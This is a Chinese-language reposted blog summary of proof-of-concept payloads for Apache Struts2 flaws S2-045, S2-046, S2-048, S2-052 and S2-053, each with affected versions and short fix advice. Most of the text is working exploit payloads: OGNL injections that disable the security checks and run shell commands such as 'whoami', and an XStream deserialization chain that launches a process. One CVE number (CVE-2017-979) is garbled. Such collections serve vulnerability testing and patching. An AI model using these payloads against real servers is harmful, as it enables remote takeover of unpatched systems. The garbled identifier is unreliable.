【總結】Struts2系列漏洞POC小結


#Struts2-045
'''
CVE-2017-5638
影響范圍:Struts 2.3.5 – Struts 2.3.31,Struts 2.5 – Struts 2.5.10
觸發條件:基於Jakarta Multipart解析器上傳文件時,可能會導致遠程代碼執行
利用方法:構造Content-type的值
測試POC:
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
修復建議:
1. 嚴格過濾 Content-Type 、filename里的內容,嚴禁ognl表達式相關字段。
2. 如果您使用基於Jakarta插件,請升級到最新版本。(強烈推薦)
'''


#struts2-046
'''
CVE-2017-5638
影響范圍:Struts 2.3.5 – Struts 2.3.31,Struts 2.5 –Struts 2.5.10
測試POC:
Content-Length:10000000
filenname="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
服務端返回500
修復建議:
1. 嚴格過濾 Content-Type 、filename里的內容,嚴禁ognl表達式相關字段。
2. 如果您使用基於Jakarta插件,請升級到Apache Struts 2.3.32或2.5.10.1版本。(強烈推薦)
'''



#Struts2-048 
'''
CVE-2017-979
影響范圍:Struts2 2.3.x
觸發條件:Struts2 2.3.x 系列啟用了struts2-struts1-plugin 插件並且存在 struts2-showcase 目錄
觸發參數:name
測試POC:
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
注意:寫腳本時需要將payload進行url編碼(常識)
修復建議:
1、臨時解決方案:通過使用 resourcekeys 替代將原始消息直接傳遞給 ActionMessage 的方式。如下所示:
messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));
一定不要使用如下的方式
messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));
2、無奈解決方案:不啟用struts2-struts1-plugin插件;
3、根本解決方案:建議升級到最新版本
'''


#Struts2-052
'''
CVE-2017-9805
影響范圍:Struts 2.5 – Struts 2.5.12 
漏洞描述:問題出現在struts2-rest-plugin插件XStreamHandler處理器中的toObject()方法,其中未對傳入的值進行任何限制,在使用XStream反序列化轉換成對象時,導致任意代碼執行漏洞。
利用條件:需要修改Content-Type: application/xml
測試POC:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=”com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data”> <dataHandler> <dataSource class=”com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource”> <is class=”javax.crypto.CipherInputStream”> <cipher class=”javax.crypto.NullCipher”> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=”javax.imageio.spi.FilterIterator”> <iter class=”javax.imageio.spi.FilterIterator”> <iter class=”java.util.Collections$EmptyIterator”/> <next class=”java.lang.ProcessBuilder”> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=”javax.imageio.ImageIO$ContainsFilter”> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=”string”>foo</next> </serviceIterator> <lock/> </cipher> <input class=”java.lang.ProcessBuilder$NullInputStream”/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=”../jdk.nashorn.internal.objects.NativeString”/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/>
</entry>
</map>
修復建議:
1.建議盡快升級到最新版本;
2.在不使用時刪除 Struts REST插件,或僅限於服務器普通頁面和JSONs:
<constant name=”struts.action.extension” value=”xhtml,,json” />
'''


#Struts2-053
'''
CVE-2017-12611
影響范圍:Struts2 2.0.1 – Struts2 2.3.33,Struts2 2.5 – Struts2 2.5.10
當開發者在Freemarker標簽中使用如下代碼時<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />Freemarker會將值當做表達式進行執行,最后導致代碼執行。
觸發條件:struts2框架、freemarker標簽中使用錯誤的構造
測試POC:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
注意:寫腳本時需要將payload進行url編碼(常識)
修復建議:建議升級到最新版本
'''

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM